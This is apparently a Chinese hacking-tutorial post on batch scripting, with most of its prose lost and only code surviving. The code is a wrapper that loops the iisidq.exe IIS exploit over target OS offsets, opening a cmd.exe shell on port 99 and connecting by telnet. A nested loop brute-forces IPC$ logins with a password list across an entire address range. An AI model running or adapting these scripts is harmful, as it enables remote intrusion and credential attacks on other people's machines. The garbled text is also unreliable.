バッチ処理に精通


ECHO     : 8
ECHO     +sp1: 9
goto exit /*  exit 
:file /*file            
echo   iis5hack.exe    !      !
goto exit /*  exit 
:help /*help              
echo        :
echo iis [  ip]
echo iis [  ip] [     9-0]
:exit /*exit      
                    。           !
  
      iisidq.exe  idq             。      iisidq.exe        telnet.exe。iisidq.exe     :
    :             web   1        <    1>
  ,            ,  ,   :"cmd.exe"。
                0-14。                 <idq.bat   ip>    :
@echo off /*   
if not EXIST iisidq.exe goto file /*   
if %1 == "" goto error /*   
ping %1 -n 1 | find "Received = 1" /*   
if errorlevel 1 goto error1 /*   
set b=%1 /*        b,   %1          b。  b         ip
set a=0 /*        a       a 0。               a     。
:no /*no   
if %a%==0 set d=0 /*      a=0       d      d=0。
if %a%==1 set d=1 /*    d           ,        
if %a%==2 set d=2 /*  。
if %a%==3 set d=3
if %a%==4 set d=4
if %a%==5 set d=5
if %a%==6 set d=6
if %a%==7 set d=7
if %a%==9 set d=9
if %a%==10 set d=13
if %a%==11 set d=14
goto 0 /*           0   
:1
echo      %d% !   %b%    !         ......
:0 /*  0  
IISIDQ %d% %b% 80 1 99 |find "good" /*                   good(            good)
if errorlevel 1 goto 1 /*    good          
/*   1       
ping 127.0.0.1 -n 8 >nul /*ping  8      8     
/*   
echo      %d% ! /*             
telnet %b% 99 /*      
echo. /*      
if %d%==14 goto error1 /*         14   error1 (    )
if %d%==13 set a=11 /*                 
if %d%==9 set a=10
if %d%==7 set a=9
if %d%==6 set a=7
if %d%==5 set a=6
if %d%==4 set a=5
if %d%==3 set a=4
if %d%==2 set a=3
if %d%==1 set a=2
if %d%==0 set a=1
goto no /*      no   
:file /*            
echo IIsidq.exe    !              !
goto exit
:error
echo   !  ip    !          !
echo idq [  IP]
goto exit
:error1
echo       !                      !
echo             !
echo iisidq [    ] [  IP] [    ] [    ] [    ]
echo telnet [  ip] [    ]
:exit /*       
                             。
  
for /l %%a in (0,1,255) do for /l %%b in (0,1,255) do for /l %%c in (1,1,254) do for /f "tokens=1,2*" %%e in (userpass.txt) do net use \\%1.%%a.%%b.%%c\ipc$ %%e /u:%%f
      1   。            4 FOR    。   :C:\>TEST.BAT 218    218         1 for    0 %%a      2 for    0 %%b    3 for    1 %%c     for  userpass.txt           %%e          %%f       (            ,    123      abc)
net usr \\218.0.0.1\ipc$ 123 /u:abc
                           。           (       ipc.bat)            。                               ip   。          ,                            。
             ip            。            ,                        。           !                                !!              。          win2000  xp                             。      !